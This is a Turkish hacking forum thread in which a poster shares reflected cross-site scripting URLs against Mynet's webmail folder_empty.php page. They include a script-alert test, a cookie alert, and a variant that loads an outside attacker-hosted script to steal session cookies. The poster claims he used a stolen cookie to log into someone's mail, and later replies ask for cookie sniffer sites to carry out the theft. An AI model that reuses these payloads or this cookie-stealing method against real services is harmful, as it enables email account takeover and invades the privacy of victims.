Mynet Xss İle Hackİng %100

[hakanbas]

selam arkadaşlar şimdi size mynetin xss kodlarını verecem


alert kodu

http://webmail83.mynet.com/webmail/src/folder_empty.php?mailbox=INBOX."><script>alert("XSS")</script

cookie alma kodu

http://webmail83.mynet.com/webmail/src/folder_empty.php?mailbox=INBOX."><script>alert(document.cookie)</script>

bu yöntem hotmailin kiyle aynıdır. yapmanız gereken hotmail xss kullanırken ki index sayfanızdaki ana kodun yerine

http://webmail83.mynet.com/webmail/src/folder_empty.php?mailbox=INBOX.<script src=http://siteniz.com/c.js></script>

bu kodu yazmaktır. siteniz yazan yere kendi sitenizi yazacaksınız

saygılar...

 

[TuRK_HaRD]

http://webmail83.mynet.com/webmail/src/folder_empty.php?mailbox=INBOX."><script>alert("XSS")</script>

alert alamıyorum ben bu koddan, emin misin çalıştığına?..

 

[emrah538]

Bende bu sayfada çalışıyor kod ama bi sorum olucak aldığın cookie ile hiç giriş yapabildin mi maile benim bildiğim maile giriş yapılamıyordu

http://webmail154.mynet.com/webmail/src/folder_empty.php?mailbox=INBOX."><script>alert("XSS")</script>

 

[hakanbas]

evet kod çalışıyo mail e de giriş yapabildim.. hotmail xss in aynısı

 

[divorcedd]

Özür dileyerek bir soru soracağım, evdeki pc de kayıtlı cookie leri çözmenin bir yolu var mı
Elinize sağlık

 

[divorcedd]

Özür dileyerek bir soru soracağım, evdeki pc de kayıtlı cookie leri çözmenin bir yolu var mı
Elinize sağlık

 

[sersery22]

ya ben alert alıyorum mynettende o kodu snifferda kullanamıyorum hotmailde önceden kullandığım snifferda denedim coo.kieler gelmiyo bi yadımcı olsa biri
TuRK_HaRD sen biliyosun bu işi bi el atsan

 

[uyelik269]

biraz daha acık yazsanız beyler
cok önemli şimdiden teşekkürler

 

[vilus86]

arkadaşlar tam olarak xss açığını kullanmayı bilmeyenler için (mesela ben) daha açık anlatabilirmisiniz. bildiğim kadarıyla bu iş için sniffer site gerekiyor. ama ben sniffer site bulamıyorum en azından bi sniffer site söyleyebilirmisiniz???

 

[asfe]

evt arkadaşlar birazdaha açarmısınız konuyu TuRK_HaRD sen bu işlerden anlıosun veya başka bilgili arkadaşlar konuyu acarak detaylı anlatırsanız çok yardımcı olursunuz teşşekürler

 

[vilus86]

kimse sallamıo